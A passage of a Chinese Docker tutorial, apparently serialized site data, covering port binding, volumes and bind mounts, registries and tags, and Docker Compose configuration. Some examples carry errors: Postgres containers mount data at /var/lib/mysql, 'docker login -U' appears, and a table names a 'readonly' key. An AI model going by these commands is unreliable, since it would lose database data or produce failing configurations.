[\"host.docker.internal:host-gateway\"]（第十二章）。注意 macOS\u002FWindows 上容器里的 127.0.0.1 不是你本机（第二章那台虚拟机），别拿 localhost 指宿主。 --network=host 为什么在 Mac 上不生效：那个 host 是 Docker VM 的 host，不是你 Mac 的；表现为容器内部能通、外部访问不了、-p 被忽略。Linux 上则真的共享栈：ss -lntp 能直接看到容器进程，同时端口冲突会打到宿主服务——宿主跑着 nginx 又 --network host 起一个 nginx，就是 address already in use。",{"id":130910,"title":51488,"titles":130911,"content":130912,"level":357},"\u002Ftutorials\u002Fdocker#暴露到公网的安全边界",[45617,50800],"写法 可达范围 评价 -p 8080:80 所有网卡（含公网 IP） 只在真正对外服务时用 -p 127.0.0.1:8080:80 仅本机 数据库、管理面板、内部 API 的默认写法 -p 10.0.0.5:8080:80 指定网卡（如内网口） 内外网分流时用 不写 -p，只在网络内互通 同网络容器 最稳妥的默认 还有一条只在 Docker 出现的经典事故：iptables 让 ufw\u002Ffirewalld 的规则形同虚设。Docker 在 PREROUTING\u002FFORWARD 里插了自己的链，优先级高于 ufw，于是你 ufw deny 5432 之后公网照样连得上数据库。解法是把访问控制放进 DOCKER-USER 链（Docker 不会重写它），或者从一开始就不给容器绑 0.0.0.0。 网络通了，数据该往哪儿放？下一章讲四种存储方式，以及「容器删了数据没了」这个事故是怎么发生的。",{"id":130914,"title":51591,"titles":130915,"content":314,"level":341},"\u002Ftutorials\u002Fdocker#九数据持久化匿名卷命名卷bind-mount-与-tmpfs",[45617],{"id":130917,"title":51595,"titles":130918,"content":130919,"level":357},"\u002Ftutorials\u002Fdocker#四种存储先分清谁拥有这块空间",[45617,51591],"容器可写层随 docker rm 消失，所以要持久化的数据必须放到容器文件系统之外。Docker 给了四条路： 类型 谁创建与管理 宿主上的位置 典型用途 容器删了数据还在吗 匿名卷 Docker 自动建（a1b2c3... 这种名字） \u002Fvar\u002Flib\u002Fdocker\u002Fvolumes\u002F\u003C随机名>\u002F_data 临时容器、忘了挂卷时的兜底 在（成为孤儿卷，prune 才清） 命名卷 你显式命名，或 Compose 声明 \u002Fvar\u002Flib\u002Fdocker\u002Fvolumes\u002Fshop_db-data\u002F_data 数据库、需要备份与迁移的数据 在，且可预期 bind mount 你指向宿主任意路径 就是那个路径本身 开发时挂载源码、挂配置文件 在（本来就在宿主） tmpfs 内存\u002Fswap，不落盘 内存 密钥、会话、临时上传缓冲 不在（重启即清零） 选择依据只有一句：要不要被 Docker 生命周期管理。要 → 卷（跨机器一致、可备份、不受宿主目录权限影响）；要直接读写宿主上的真实文件（编辑即生效）→ bind mount；不能落盘 → tmpfs。",{"id":130921,"title":61656,"titles":130922,"content":130923,"level":357},"\u002Ftutorials\u002Fdocker#v-与-mount-语法对照",[45617,51591],"两种写法能表达的集合不同： docker run -d --name shop-db -v db-data:\u002Fvar\u002Flib\u002Fmysql postgres:16.4\ndocker run -d --name shop-db --mount type=volume,source=db-data,target=\u002Fvar\u002Flib\u002Fmysql postgres:16.4\ndocker run -d --name shop-web -v \u002Fsrv\u002Fshop\u002Fnginx.conf:\u002Fetc\u002Fnginx\u002Fconf.d\u002Fdefault.conf:ro nginx:1.27-alpine\ndocker run -d --name shop-web --mount type=bind,source=\u002Fsrv\u002Fshop\u002Fnginx.conf,target=\u002Fetc\u002Fnginx\u002Fconf.d\u002Fdefault.conf,readonly nginx:1.27-alpine -v 写法 --mount 等价 说明 -v \u002Fabs\u002Fpath --mount type=volume,target=\u002Fabs\u002Fpath 只给目标 → 匿名卷（最容易长出孤儿卷） -v name:\u002Fpath --mount type=volume,source=name,target=\u002Fpath 命名卷；name 不以 .\u002F\u002F 开头即判定为卷名 -v .\u002Fhost:\u002Fcont --mount type=bind,source=$(pwd)\u002Fhost,target=\u002Fcont bind；-v 相对路径基于当前工作目录 -v a:b:ro,z --mount type=bind,...,readonly,z 选项：ro、rw、z\u002FZ（SELinux）、volume-opt 实践建议：脚本与 Compose 用 --mount——参数拼错（比如卷名写了相对路径）时 --mount 会明确报错，而 -v 会静默地给你建一个空目录，最后表现为「配置没生效」。手工敲命令时 -v 省事。tmpfs 则只能用长语法：--mount type=tmpfs,tmpfs-size=64m,target=\u002Frun\u002Fredis（-v 表达不了大小限制）。 一个必须提前知道的坑：-v .\u002Fconf:\u002Fetc\u002Fapp 若宿主的 .\u002Fconf 不存在，Docker 会创建它并 chown 给 root；容器内原本 \u002Fetc\u002Fapp 里的文件会被空目录遮住，于是出现「镜像里有配置，挂载后配置没了」。",{"id":130925,"title":51969,"titles":130926,"content":130927,"level":357},"\u002Ftutorials\u002Fdocker#volumes-from把别人的卷借过来",[45617,51591],"docker run --rm --volumes-from shop-db -v \"$PWD:\u002Fbackup\" alpine \\\n  tar czf \u002Fbackup\u002Fdb-data-20261004.tar.gz -C \u002Fvar\u002Flib\u002Fmysql . --volumes-from 复用另一个容器声明过的所有挂载（包括匿名卷），是「备份\u002F恢复容器数据」的标准套路。注意它继承的是那个容器创建时的挂载组合，改了原容器的挂载配置要重建才生效。",{"id":130929,"title":52036,"titles":130930,"content":130931,"level":357},"\u002Ftutorials\u002Fdocker#卷在宿主上的实际位置和怎么看清它",[45617,51591],"docker volume ls; docker volume inspect db-data     # inspect 里的 Mountpoint 是宿主真实路径\nsudo du -sh \u002Fvar\u002Flib\u002Fdocker\u002Fvolumes\u002F* | sort -h | tail\ndocker volume rm db-data; docker volume prune       # prune 会删掉所有没被任何容器引用的卷 inspect 的 Mountpoint 就是宿主真实路径（rootless 下是 ~\u002F.local\u002Fshare\u002Fdocker\u002Fvolumes\u002F...）。docker volume prune 会删掉所有没被任何容器引用的卷——包括你上周测试留下的数据库，所以先 ls 再 rm，别直接 prune（第十四章把这条列入危险命令）。 两种备份\u002F迁移方式： docker run --rm --volumes-from shop-db -v \"$PWD:\u002Fbackup\" alpine tar czf \u002Fbackup\u002Fdb.tar.gz \u002Fvar\u002Flib\u002Fmysql\ndocker run -d --name shop-db-new -v db-data-new:\u002Fvar\u002Flib\u002Fmysql postgres:16.4\ndocker run --rm -v \"$PWD:\u002Fbackup\" -v db-data-new:\u002Fvar\u002Flib\u002Fmysql alpine tar xzf \u002Fbackup\u002Fdb.tar.gz -C \u002F 第二种把卷挂进一个临时容器再解包，好处是不依赖原容器存在，跨机器迁移时只需要那个 tar。生产上更常见的是走数据库自身的备份（pg_dump），卷快照只作灾备——文件级备份对运行中的数据库常常是不一致的。",{"id":130933,"title":52244,"titles":130934,"content":130935,"level":357},"\u002Ftutorials\u002Fdocker#bind-mount-的权限坑uid-对不上是最常见故障",[45617,51591],"现象：挂载成功、目录可见，但写进去报 EACCES: permission denied。原因是容器内的 UID 和宿主目录属主对不上——权限检查用的是数字 UID，不看用户名。 docker exec shop-api id                # uid=1001(app) gid=1001(app)\nls -ld \u002Fsrv\u002Fshop\u002Fuploads               # drwxr-xr-x 2 root root ... \u002Fsrv\u002Fshop\u002Fuploads\ndocker exec shop-api touch \u002Fsrv\u002Fshop\u002Fuploads\u002Ft   # permission denied → sudo chown -R 1001:1001 对齐数字 UID 四种解法与取舍： 解法 做法 备注 改宿主目录属主 chown 1001:1001（数字 UID） 最直接；要知道镜像里应用跑在哪个 UID（docker inspect 或 Dockerfile 的 USER） 用 --user 对齐 --user \"$(id -u):$(id -g)\" 开发机神器：容器进程就是你的宿主用户，写出的文件属主正确 改组权限 chgrp + chmod g+w + --group-add 需要共享写时更协作友好 改用命名卷 让 Docker 自己管理目录 卷首次挂到空目录时会把镜像里该目录的内容复制进卷（bind mount 不会！）——这条差异能救「配置丢了」的故障 rootless 模式再多一层：subuid 映射。容器里的 UID 会被平移，docker exec 看到 uid=0 实际是宿主的 100000，宿主目录属主要按 \u002Fetc\u002Fsubuid 的偏移算（grep $(whoami) \u002Fetc\u002Fsubuid）。这也是 rootless + bind mount 反复出权限问题的原因，第十五章还会遇到它。",{"id":130937,"title":52420,"titles":130938,"content":130939,"level":357},"\u002Ftutorials\u002Fdocker#为什么数据库必须用卷镜像里为什么不该有数据",[45617,51591],"三个理由： 性能：往镜像层所在的 overlayfs 写随机 IO 明显慢于专用文件系统目录（卷或 bind）。数据库这种写密集负载，overlay2 的 copy-up 会让每次首次写都变成「整文件复制」。 生命周期：容器是可丢弃的，数据库不是。挂卷之后 docker rm 掉容器，重新 run 同名卷，数据回来了。 可移植与备份：卷能被 volume inspect、被快照、被 --volumes-from 备份；容器可写层这三样都做不好。 而「镜像里的 \u002Fvar\u002Flib\u002Fmysql 为什么不该写进镜像」：镜像层是只读的，运行时对它的一切写入都落在容器层；把初始化数据打进镜像会导致镜像体积暴涨、每个容器各存一份、VOLUME 声明处还会丢弃写入（第四章）。更关键的是镜像会泄密——初始化 SQL 里往往带着默认密码、示例账号，任何能 pull 的人都能 docker save 后翻出来。正确做法是首次启动时用 POSTGRES_* 环境变量或 initdb 钩子建库（第十三章）。 示例 09 用一次完整流程演示这四种存储、diff 发现写入位置、以及那个权限坑的现场与修法。 数据落盘的问题解决了，下一章解决「镜像从哪来、到哪去」：仓库、tag 规范与私有 registry。",{"id":130941,"title":52501,"titles":130942,"content":314,"level":341},"\u002Ftutorials\u002Fdocker#十镜像仓库与-tag-规范拉推锁定与私有-registry",[45617],{"id":130944,"title":52504,"titles":130945,"content":130946,"level":357},"\u002Ftutorials\u002Fdocker#一个镜像的完整名字长什么样",[45617,52501],"docker pull nginx:1.27-alpine\ndocker pull registry-1.docker.io\u002Flibrary\u002Fnginx:1.27-alpine      # 上面那行的完整展开\ndocker pull ghcr.io\u002Fexample\u002Fshop-api:1.8.3\ndocker pull localhost:5000\u002Fshop-api:1.8.3 名字被解析成三段：\u003Cregistry>\u002F\u003Cnamespace>\u002F\u003Crepo>:\u003Ctag>。省略 registry 时默认 docker.io，省略 namespace 时默认 library（官方镜像命名空间）。所以 nginx 的真实身份是 docker.io\u002Flibrary\u002Fnginx:latest——不写 tag 就是 latest，这一点在下一节会付出代价。 docker pull 时屏幕上打印的 1.27-alpine: Pulling from library\u002Fnginx 后面跟着一串 Layer ID 的下载进度；同一层已在本地会显示 Already exists（第三章的分层共享）。",{"id":130948,"title":52595,"titles":130949,"content":130950,"level":357},"\u002Ftutorials\u002Fdocker#tag-不是版本是可变的指针",[45617,52501],"事实 后果 tag 可以反复指向不同的镜像（覆盖） 今天的 shop-api:1.8.3 和昨天的可能不是同一个东西 latest 永远指向「最后一次 push 的」 无法回滚、CI 不可复现、A\u002FB 两台机器可能跑不同版本 digest（sha256:...）由内容算出，永不变 唯一可靠的锁定手段 生产规范：用不可变 tag + digest 双锁。 docker pull nginx@sha256:2bc60bb1c9d0c4b7aa220796840eab3d18d613059be13b63bea490dc8a32fc36\ndocker image inspect nginx:1.27-alpine --format '{{index .RepoDigests 0}}'\ndocker run -d --name shop-web nginx:1.27-alpine@sha256:2bc60bb1c9d0... Compose 里同样支持 image: nginx:1.27-alpine@sha256:2bc6...。落地建议：tag 给人读（语义版本 1.8.3、1.8.3-build.20261004），digest 给机器锁（部署清单里记 digest，回滚 = 用旧 digest 再起一次）。 latest 唯一合理的使用场景是本地开发随手试。另一种常见误用是 1.8（大版本 tag）：它会被上游重新指向 1.8.4，你的生产库一夜之间换了小版本。要固定就固定到具体 patch 版本 + digest。",{"id":130952,"title":52728,"titles":130953,"content":130954,"level":357},"\u002Ftutorials\u002Fdocker#多架构与-manifest",[45617,52501],"docker manifest inspect ghcr.io\u002Fexample\u002Fshop-api:1.8.3\ndocker manifest inspect -v nginx:1.27-alpine | grep -A3 '\"platform\"'\ndocker pull --platform linux\u002Farm64 busybox 单个名字背后可以是一个 manifest list（每种架构一个子镜像），docker pull 会按宿主平台自动挑。看不到 manifests 数组说明这是单架构镜像——把它跑在别的架构上就是 exec format error（第七章）。国内机器上 docker manifest inspect 常因 registry 认证\u002F代理失败，加 --insecure 或换 docker buildx imagetools inspect。",{"id":130956,"title":52807,"titles":130957,"content":130958,"level":357},"\u002Ftutorials\u002Fdocker#私有-registry起一个认证以及-insecure-registries-的取舍",[45617,52501],"docker run -d --name registry --restart unless-stopped -p 127.0.0.1:5000:5000 \\\n  -v registry-data:\u002Fvar\u002Flib\u002Fregistry registry:2\ndocker tag shop-api:1.8.3 localhost:5000\u002Fshop-api:1.8.3\ndocker push localhost:5000\u002Fshop-api:1.8.3\ncurl -s http:\u002F\u002Flocalhost:5000\u002Fv2\u002F_catalog 推到 myreg.internal:5000 这种域名时，Docker 要求 HTTPS；没证书就得在 \u002Fetc\u002Fdocker\u002Fdaemon.json 里声明： { \"insecure-registries\": [\"myreg.internal:5000\"] } 改完 systemctl restart docker。insecure-registries 的含义是明文 HTTP 传输：镜像内容与认证 token 都在网上裸奔，只适合封闭内网 + 有物理隔离保证的环境；一旦跨公网就必须上 TLS（用 Caddy\u002Fnginx 反代 + Let's Encrypt，或 registry 自带 tls 配置）。 认证相关： 操作 命令 登录 docker login ghcr.io -U \u003Cuser> --password-stdin（别在命令行里明文写密码，会进 shell history） 登出 docker logout ghcr.io 凭证存放 ~\u002F.docker\u002Fconfig.json 里的 auths；接 pass \u002F secretservice 时用 credsStore CI 里 用 secret 变量喂 --password-stdin，或云厂商的短期 token",{"id":130960,"title":53004,"titles":130961,"content":130962,"level":357},"\u002Ftutorials\u002Fdocker#镜像加速与代理",[45617,52501],"国内机器直连 Docker Hub 经常超时或限速，daemon.json 里配 mirror： {\n  \"registry-mirrors\": [\"https:\u002F\u002Fdocker.m.daocloud.io\"],\n  \"dns\": [\"114.114.114.114\", \"8.8.8.8\"],\n  \"log-driver\": \"json-file\",\n  \"log-opts\": { \"max-size\": \"20m\", \"max-file\": \"3\" }\n} 要点：mirror 只是缓存代理，只加速公开镜像的 pull，push 与私有镜像不走它；配完 docker info 里能看到 Registry Mirrors 才算生效。企业环境走 HTTP 代理用 ~\u002F.docker\u002Fconfig.json 的 proxies（只影响客户端）或 systemd drop-in（影响 daemon，拉镜像真正吃代理的是 daemon）： sudo mkdir -p \u002Fetc\u002Fsystemd\u002Fsystem\u002Fdocker.service.d\nprintf '[Service]\\nEnvironment=\"HTTPS_PROXY=http:\u002F\u002F10.0.0.9:3128\"\\nEnvironment=\"NO_PROXY=localhost,127.0.0.1\"\\n' \\\n  | sudo tee \u002Fetc\u002Fsystemd\u002Fsystem\u002Fdocker.service.d\u002Fproxy.conf\nsudo systemctl daemon-reload && sudo systemctl restart docker",{"id":130964,"title":53181,"titles":130965,"content":130966,"level":357},"\u002Ftutorials\u002Fdocker#离线分发save-load",[45617,52501],"docker save -o shop-images.tar ghcr.io\u002Fexample\u002Fshop-api:1.8.3 postgres:16.4 redis:7.2-alpine\nscp u@build:\u002Ftmp\u002Fshop-images.tar prod:\u002Ftmp\u002F\ndocker load -i \u002Ftmp\u002Fshop-images.tar 内网\u002F气隔环境的常规手段。三个提醒：save 出的 tar 是未压缩的（体积按解压后算），用 docker save img | gzip > img.tar.gz 减一半；tar 绑定架构，别指望 amd64 的 tar 能在 ARM 上跑；load 之后镜像没有 registry 前缀的 RepoDigest，pull_policy 相关行为要注意（第十二章）。",{"id":130968,"title":53259,"titles":130969,"content":130970,"level":357},"\u002Ftutorials\u002Fdocker#docker-hub-的限流",[45617,52501],"未登录 6 小时内每 IP 约 100 次 pull，免费账号 200 次；超了报： toomanyrequests: You have reached your pull rate limit. You may enable and increase limits by upgrading to Team or Enterprise. CI 里最容易撞上。缓解手段按有效性排：把公共基础镜像同步到自己的 registry（最稳，skopeo copy 或 CI 里一次性 mirror）、CI 用云厂商提供的免费 mirror、给构建加缓存层（避免每次重新解析 latest）、docker login（把限额从匿名 IP 池换成账号）。 下一章把「一条一条 docker run」升级成「一个文件描述整套服务」：Compose。",{"id":130972,"title":53292,"titles":130973,"content":314,"level":341},"\u002Ftutorials\u002Fdocker#十一docker-compose-入门composeyaml-的骨架",[45617],{"id":130975,"title":53296,"titles":130976,"content":130977,"level":357},"\u002Ftutorials\u002Fdocker#为什么需要-compose",[45617,53292],"手工 docker run 起四个服务，你要记住每条命令的 20 个参数、顺序（谁先起）、网络名、卷名，还要在改代码后逐个重建。Compose 把这些写进一个文件：声明式地描述一组服务，然后 up 一下就把状态对齐。它是「单机多容器」的事实标准，也是学 Swarm\u002FK8s 的概念入口。 docker compose version     # v2 是 docker 子命令，注意不是 docker-compose\ndocker compose up -d",{"id":130979,"title":53343,"titles":130980,"content":130981,"level":357},"\u002Ftutorials\u002Fdocker#顶层结构五个键",[45617,53292],"services:            # 必填；每个键是一个容器（或一组副本）\n  web: { image: nginx:1.27-alpine }\nnetworks:            # 自定义网络；不写则自动有一个 \u003Cproject>_default\n  shop-net: { driver: bridge }\nvolumes:             # 命名卷；不写则匿名卷或带项目前缀的自动卷\n  db-data:\nconfigs:             # 文本配置以文件形式注入容器\n  nginx-conf: { file: .\u002Fnginx\u002Fconf.d\u002Fsite.conf }\nsecrets:             # 密钥（Compose 里默认是 file driver）\n  db_password: { file: .\u002Fsecrets\u002Fdb_password.txt } services 之外四个都可选，但生产风格的文件会显式声明 networks 与 volumes，因为隐式资源的名字带项目前缀、难以在外部复用（第十二章的 external）。",{"id":130983,"title":53495,"titles":130984,"content":130985,"level":357},"\u002Ftutorials\u002Fdocker#service-的常用字段",[45617,53292],"字段 含义 关键细节 image 直接用现成镜像 与 build 互斥或共存（共存时 up 用构建产物） build 现场构建 context、dockerfile、args、target、shm_size、pull ports 宿主→容器 列表，\"127.0.0.1:8080:80\" 完全等价于 -p expose 仅文档 只告诉别人「这个端口对内开放」，不产生任何映射 environment 环境变量 map 或 list 两种写法，值必须是字符串（\"true\" 不是 true） env_file 从文件注入 列表按顺序，后者覆盖前者；与 .env 是两回事（第十三章） volumes 挂载 短语法 \"db-data:\u002Fvar\u002Flib\u002Fmysql\" 或长语法 type\u002Ftarget depends_on 启动顺序 只保证顺序，不保证就绪（下一节） healthcheck 健康检查 等价于 HEALTHCHECK，可在 Compose 里覆盖镜像的 restart 重启策略 unless-stopped 是单机默认答案（第十六章） command \u002F entrypoint 覆盖镜像 分别覆盖 CMD \u002F ENTRYPOINT（第四章四组合） network_mode \u002F networks 网络 优先用 networks，network_mode: host 会忽略 ports container_name 固定名字 慎用：与 --scale 冲突，多实例必炸 profiles 按需启动 第十二章",{"id":130987,"title":53765,"titles":130988,"content":130989,"level":357},"\u002Ftutorials\u002Fdocker#一段完整可用的例子",[45617,53292],"services:\n  api:\n    build: { context: ., dockerfile: Dockerfile, args: { NODE_ENV: production } }\n    image: ghcr.io\u002Fexample\u002Fshop-api:1.8.3\n    ports: [\"127.0.0.1:8080:3000\"]\n    environment: { DATABASE_URL: postgres:\u002F\u002Fshop:secret@db:5432\u002Fshop, REDIS_URL: redis:\u002F\u002Fcache:6379\u002F0 }\n    volumes: [uploads:\u002Fsrv\u002Fshop\u002Fuploads]\n    depends_on: { db: { condition: service_healthy }, cache: { condition: service_started } }\n    healthcheck:\n      test: [\"CMD\", \"node\", \"-e\", \"require('http').get('http:\u002F\u002F127.0.0.1:3000\u002Fhealthz',r=>process.exit(r.statusCode===200?0:1)).on('error',()=>process.exit(1))\"]\n      interval: 15s\n      retries: 3\n      start_period: 20s\n    restart: unless-stopped\n  web:\n    image: nginx:1.27-alpine\n    ports: [\"80:80\"]\n    volumes: [\".\u002Fnginx\u002Fconf.d:\u002Fetc\u002Fnginx\u002Fconf.d:ro\"]\n    depends_on: [api]\n  db:\n    image: postgres:16.4\n    environment: { POSTGRES_USER: shop, POSTGRES_DB: shop }\n    volumes: [db-data:\u002Fvar\u002Flib\u002Fpostgresql\u002Fdata]\n    healthcheck: { test: [\"CMD-SHELL\", \"pg_isready -U shop\"], interval: 10s, retries: 5 }\n  cache:\n    image: redis:7.2-alpine\n    command: [\"redis-server\", \"--appendonly\", \"yes\"]\n    volumes: [cache-data:\u002Fdata]\nvolumes: { db-data: {}, cache-data: {}, uploads: {} } db 那段里 \u002Fvar\u002Flib\u002Fpostgresql\u002Fdata 这类目标路径必须抄官方文档，不能凭印象。写错成 \u002Fvar\u002Flib\u002Fmysql 时 Compose 不会报错，只会在镜像里建一个空目录，数据静默落在容器可写层，up 看着正常、down 之后全丢——这是教程里最难自查的一类错误。用 docker diff shop-db 或 docker exec shop-db ls \u002Fvar\u002Flib\u002Fpostgresql\u002Fdata 一眼就能看出数据没进卷。",{"id":130991,"title":54234,"titles":130992,"content":130993,"level":357},"\u002Ftutorials\u002Fdocker#depends_on-只保证顺序不保证就绪",[45617,53292],"这是 Compose 最坑人的一个字段。depends_on: [db] 的含义只是「先创建并启动 db 容器」，而容器启动 ≠ 数据库能接受连接。Postgres 初始化要几秒，你的 API 在此期间 ECONNREFUSED，然后崩溃退出。 正确写法是 depends_on + condition，而 condition 依赖健康检查： depends_on:\n      db: { condition: service_healthy }        # 等 db 的 healthcheck 通过才起 api\n      cache: { condition: service_started }     # 只要起来了（等价于旧写法） 可选值有三种：service_started（默认）、service_healthy（要求被依赖方有 healthcheck，否则 Compose 报错）、service_completed_successfully（等对方退出码 0，适合 migration\u002Finit 容器）。 condition 解决的是「应用启动时的瞬时失败」，但运行期依赖方挂了依然要你自己的重连逻辑。别指望 depends_on 提供高可用。",{"id":130995,"title":54336,"titles":130996,"content":130997,"level":357},"\u002Ftutorials\u002Fdocker#日常命令与那个危险的-v",[45617,53292],"docker compose config            # 校验并打印合并渲染后的最终配置（排错第一步）\ndocker compose up -d             # 对齐期望状态：缺的建、变的换\ndocker compose up -d --build     # 顺带重新构建 build 的服务\ndocker compose up -d --force-recreate api   # 配置没变但想换镜像\u002F环境变量时强制重建\ndocker compose ps                # 只看本项目的容器（含 health 状态）\ndocker compose logs -f --tail 100 api\ndocker compose exec api sh       # 进容器（exec 不是 run，不会新建）\ndocker compose run --rm api node scripts\u002Fmigrate.js   # 起一次性容器，可覆盖 command\ndocker compose scale api=3\ndocker compose stop \u002F start \u002F restart\ndocker compose down              # 停并删容器和网络（卷和数据不动）\ndocker compose down -v          # 连命名卷一起删 —— 数据库清空 down -v 会删除本项目声明的所有命名卷，不可恢复。习惯是永远写 down，要清数据时明确地用 docker volume rm \u003C精确名字>。 up 的变更判定很保守：只改镜像 tag、只改 environment 的值都会重建容器；只改 ports 的宿主侧也一样。但它不会因为 image 内容变了（同 tag 重新 push）自动重建——这时要 --pull always + --force-recreate。 config 是理解 Compose 的第一工具：插值、多文件叠加、锚点展开的最终结果都在它输出里，出问题先看它。 项目名决定资源前缀（shop_api_1、shop_db-data）；来源优先级是 -p\u002F--project-name > COMPOSE_PROJECT_NAME > 顶层 name: > 当前目录名。同一个目录不同路径跑起来会变成两个项目，这是「明明 up 了但 ps 看不到」的常见原因。 示例 11 是 up -d 的完整输出流：从网络创建、卷创建、拉镜像、按依赖顺序起四个容器，到 ps 里 health: starting 转 healthy 的全过程。 一个文件能描述服务，但还不够「生产」。下一章处理多环境、变量、锚点与那些必须显式声明的开关。",{"id":130999,"title":54622,"titles":131000,"content":314,"level":341},"\u002Ftutorials\u002Fdocker#十二compose-进阶变量插值多文件叠加与生产风格配置",[45617],{"id":131002,"title":54626,"titles":131003,"content":131004,"level":357},"\u002Ftutorials\u002Fdocker#变量与-env插值语法",[45617,54622],"services:\n  api:\n    image: ghcr.io\u002Fexample\u002Fshop-api:${APP_VERSION:-1.8.3}\n    ports:\n      - \"${HTTP_PORT:-8080}:3000\"\n    environment:\n      DATABASE_URL: postgres:\u002F\u002F${DB_USER:-shop}:${DB_PASSWORD:?set DB_PASSWORD in .env}@db:5432\u002Fshop\n      REPLICAS: ${SHARD_COUNT} 语法 行为 ${VAR} 未定义时替换为空字符串 ${VAR:-默认} 未定义或为空 → 用默认（值不进容器，只在 Compose 层展开） ${VAR-default} 仅未定义时用默认（空串保留） ${VAR:?错误信息} 未定义或为空 → 直接报错退出（强制必填，很好的守卫） ${VAR?错误信息} 仅未定义时报错 ${VAR:?} 与 $$ $$ 是转义，输出一个 $（防止应用密钥里带 $ 被二次展开） .env（与 compose.yaml 同目录）里的值供给上面的插值，作用范围是整个 Compose 文件；env_file: 注入的是容器内环境变量，不参与文件插值。两者都叫「环境变量」但层次完全不同，这是第十三章的第一条主线。 插值发生在 Compose 层，因此 docker compose config 输出里你看到的一定是展开后的值——检查变量到底吃到没有，看 config。",{"id":131006,"title":54818,"titles":131007,"content":131008,"level":357},"\u002Ftutorials\u002Fdocker#多文件叠加base-override",[45617,54622],"docker compose -f compose.yaml -f compose.prod.yaml up -d\ndocker compose -f compose.yaml -f compose.override.yaml config   # 看合并结果 同名文件自动叠加规则（Compose v2）：compose.yaml + compose.override.yaml（开发用，自动加载）；显式 -f 时按给定顺序合并，后者覆盖前者。合并语义很关键： 类型 合并规则 标量（image、restart） 后面的直接覆盖 environment \u002F labels 按键合并，同名覆盖 ports \u002F volumes \u002F command 等列表 一般整体替换（不是追加！）——想追加要写全 build.args 按键合并 healthcheck 子字段逐个覆盖；disable: true 可关掉 deploy 深度合并 「列表是替换不是追加」这点最容易被误解：override 文件里写一条 ports 并不会给 base 加一个端口，而是替换掉整个 ports 列表。 典型分层：compose.yaml（公共）+ compose.override.yaml（本地开发：bind mount 源码、开调试端口、command 换成 nodemon）+ compose.prod.yaml（生产：镜像 digest、restart、资源限制、只挂卷）。把 compose.override.yaml 加进 .gitignore 或不提交，避免开发者机器上的配置跑到生产。",{"id":131010,"title":55009,"titles":131011,"content":131012,"level":357},"\u002Ftutorials\u002Fdocker#扩展字段与锚点复用又不产生隐式行为",[45617,54622],"x-common: &common\n  restart: unless-stopped\n  logging: { driver: json-file, options: { max-size: \"20m\", max-file: \"3\" } }\n  security_opt: [\"no-new-privileges:true\"]\n  networks: [shop-net]\n\nservices:\n  api:\n    \u003C\u003C: *common\n    environment: { TZ: Asia\u002FShanghai, NODE_ENV: production, PORT: \"3000\" }\n  cache:\n    \u003C\u003C: *common\n    image: redis:7.2-alpine x- 前缀的顶层键是扩展字段，Compose 忽略它，但允许在里面放可复用片段；&anchor 定义锚点、*alias 引用、\u003C\u003C: 做映射合并。收益是少抄 20 行，代价是改一处会同时影响多个服务（生产上这常常正是你想要的），以及覆盖顺序的心智负担（\u003C\u003C: 中已显式写出的键优先）。锚点是 YAML 特性，别指望它做复杂逻辑——真要参数化就换 envsubst 模板或 Helm。",{"id":131014,"title":55218,"titles":131015,"content":131016,"level":357},"\u002Ftutorials\u002Fdocker#profiles按需启动",[45617,54622],"services:\n  adminer: { image: adminer:4, profiles: [\"debug\"] }\n  migrate: { build: ., command: [\"node\", \"scripts\u002Fmigrate.js\"], profiles: [\"ops\"] } docker compose --profile debug up -d\ndocker compose --profile ops run migrate 没有 profile 的服务总是启动；有 profile 的只有匹配 --profile 才启动。用途是把「调试面板、一次性任务、测试桩」从常规 up 里摘出去，而不是靠注释代码。",{"id":131018,"title":55341,"titles":131019,"content":131020,"level":357},"\u002Ftutorials\u002Fdocker#网络与外部资源",[45617,54622],"networks:\n  shop-net:\n    name: shop-net           # 显式命名，不带项目前缀，便于项目外复用\n  edge:\n    external: true           # 引用已存在的网络，up\u002Fdown 都不许删它\n  db-only:\n    internal: true           # 出不去外网，只能容器间互访 默认网络（\u003Cproject>_default）由 Compose 自动创建与销毁，服务默认全接进去、互相可按名字访问。显式自定义网络的好处是：能用 name: 固定名字给项目外用、能 internal、能用多张网做隔离（前端接 edge、数据库只接 db-only，于是 web 根本 ping 不到 db——网络层强制了架构分层）。 external: true 把资源和容器生命周期解耦，down 不会删它。生产里数据库卷推荐显式声明（带 name: 或 external），防止换项目名（换目录）后「数据凭空消失」（其实还在旧卷里，这类事故很常见）。",{"id":131022,"title":55453,"titles":131023,"content":131024,"level":357},"\u002Ftutorials\u002Fdocker#那些必须显式写的开关",[45617,54622],"字段 作用 为什么要显式写 pull_policy missing（默认）\u002F always \u002F build \u002F never 同 tag 覆盖镜像时，always 才能确保拉到新的；离线环境用 never init: true 容器里跑 tini 当 PID 1 否则僵尸进程不收尸、SIGTERM 转发有问题（第十四、十六章） stop_grace_period: 30s SIGTERM 后等多久发 SIGKILL 默认 10s；长任务\u002F大流量服务要加长 shm_size: 256m \u002Fdev\u002Fshm 大小 默认 64MB，Chrome\u002FPuppeteer、Postgres 并行扫描会撑爆并报 No space left on device ulimits nofile: 65536、nproc 宿主默认 1024 文件描述符，高并发必调 extra_hosts host.docker.internal:host-gateway Linux 上访问宿主服务的前提（第八章） readonly: true + tmpfs 根文件系统只读 第十五章安全基线 deploy.resources.limits memory: 512M、cpus: \"1.5\" Compose v2 在单机 up 时也会应用 limits（K8s 迁移友好，但 replicas 等仍需 Swarm） logging max-size \u002F driver 默认 json-file 不轮转，磁盘必爆（第十六章）",{"id":131026,"title":55637,"titles":131027,"content":131028,"level":357},"\u002Ftutorials\u002Fdocker#一个生产风格的完整例子",[45617,54622],"name: shop\nx-service: &service\n  restart: unless-stopped\n  init: true\n  stop_grace_period: 30s\n  security_opt: [\"no-new-privileges:true\"]\n  cap_drop: [\"ALL\"]\n  read_only: true\n  tmpfs: [\"\u002Ftmp\"]\n  logging: { driver: json-file, options: { max-size: \"20m\", max-file: \"3\" } }\n  ulimits: { nofile: 65536 }\n  networks: [shop-net]\nservices:\n  web:\n    \u003C\u003C: *service\n    image: nginx:1.27-alpine@sha256:2bc60bb1c9d0\n    ports: [\"80:80\", \"127.0.0.1:443:443\"]\n    volumes: [\".\u002Fnginx\u002Fconf.d:\u002Fetc\u002Fnginx\u002Fconf.d:ro\", \".\u002Fnginx\u002Fcerts:\u002Fetc\u002Fnginx\u002Fcerts:ro\"]\n    depends_on: { api: { condition: service_healthy } }\n  api:\n    \u003C\u003C: *service\n    image: ghcr.io\u002Fexample\u002Fshop-api:1.8.3@sha256:9c1f0ea7b2d4\n    expose: [\"3000\"]\n    environment: { NODE_ENV: production, TZ: 